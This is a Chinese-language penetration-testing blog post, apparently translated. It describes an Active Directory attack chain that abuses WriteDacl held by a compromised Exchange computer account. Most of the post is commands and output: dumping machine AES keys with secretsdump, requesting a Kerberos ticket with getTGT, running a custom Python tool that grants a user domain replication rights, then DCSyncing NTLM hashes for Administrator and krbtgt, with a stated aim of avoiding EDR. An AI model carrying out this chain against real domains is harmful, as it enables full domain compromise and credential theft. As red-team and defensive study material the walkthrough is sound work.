最近我在 BloodHound 中发现了一条如下所示的攻击路径:
我控制了一个计算机对象(一个 Exchange 服务器),它在域上有效地拥有 WriteDacl。
我也有一些限制:
- 所有系统都配置了 EDR
- 我只有计算机帐户的 AES 密钥,没有 NT 哈希或明文密码
您通常可以利用这一点的方法之一是使用 PowerView。出于各种原因,我想避免使用 PowerShell 或任何基于 Windows 的攻击性工具。我需要该工具能够使用 Kerberos 身份验证,因为我没有计算机帐户的密码或哈希。
我创建了一个专门使用 Python 来利用它的工具,它在很大程度上基于https://github.com/tothi/rbcd-attack,它在后台使用 Impacket 的ldapattack.py
这是我的攻击链的演练概述:
首先,获取计算机帐户的 AES 密钥。
代码语言:javascript复制$ python3 secretsdump.py server_admin@exchange.n00py.local
<SNIP>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
N00PYEXCHANGE$:aes256-cts-hmac-sha1-96:bfeaec0304d0f80a5e18c0955a75a4bc0bb02db298ebacc2a46309f405e3fccf
N00PYEXCAHNGE$:aes128-cts-hmac-sha1-96:682e27594e62cefa9ce29af1a2fead20
接下来,使用getTGT.py和 AES 密钥获取 Kerberos 票证。
代码语言:javascript复制$ python3 getTGT.py 'n00py.local/EXCHANGE$' -aesKey bfeaec0304d0f80a5e18c0955a75a4bc0bb02db298ebacc2a46309f405e3fccf
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in EXCHANGE$.ccache
$ cp EXCHANGE$.ccache /tmp/krb5cc_0
$ export KRB5CCNAME=/tmp/krb5cc_0
获得票后运行新的花哨的所有基于 Python 的 DCSync 工具:https ://github.com/n00py/DCSync
代码语言:javascript复制$ python3 dcsync.py -dc 'dc01.n00py.local' -t 'CN=n00py,OU=Employees,DC=n00py,DC=local' 'n00py\EXCHANGE$' -k
Impacket v0.9.24.dev1 20210917.161743.0297480b - Copyright 2021 SecureAuth Corporation
[*] Starting DCSync Attack against CN=n00py,OU=Employees,DC=n00py,DC=local
[*] Initializing LDAP connection to dc01.n00py.local
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Querying domain security descriptor
[*] Success! User n00py now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20220119-152515.restore
最后,使用secretsdump.py验证 privs
代码语言:javascript复制$ python3 secretsdump.py n00py@n00py.local
Impacket v0.9.24.dev1 20210917.161743.0297480b - Copyright 2021 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domainuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b0a29e52c261c4cdbb9812349eecc117:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1b50ad037ab355ce937540755c561a2c:::
n00py.localn00py:1116:aad3b435b51404eeaad3b435b51404ee:2c261c4cd923429b0abb981e5eecc117:::
这个工具还没有办法自行清理,但我将来可能会添加。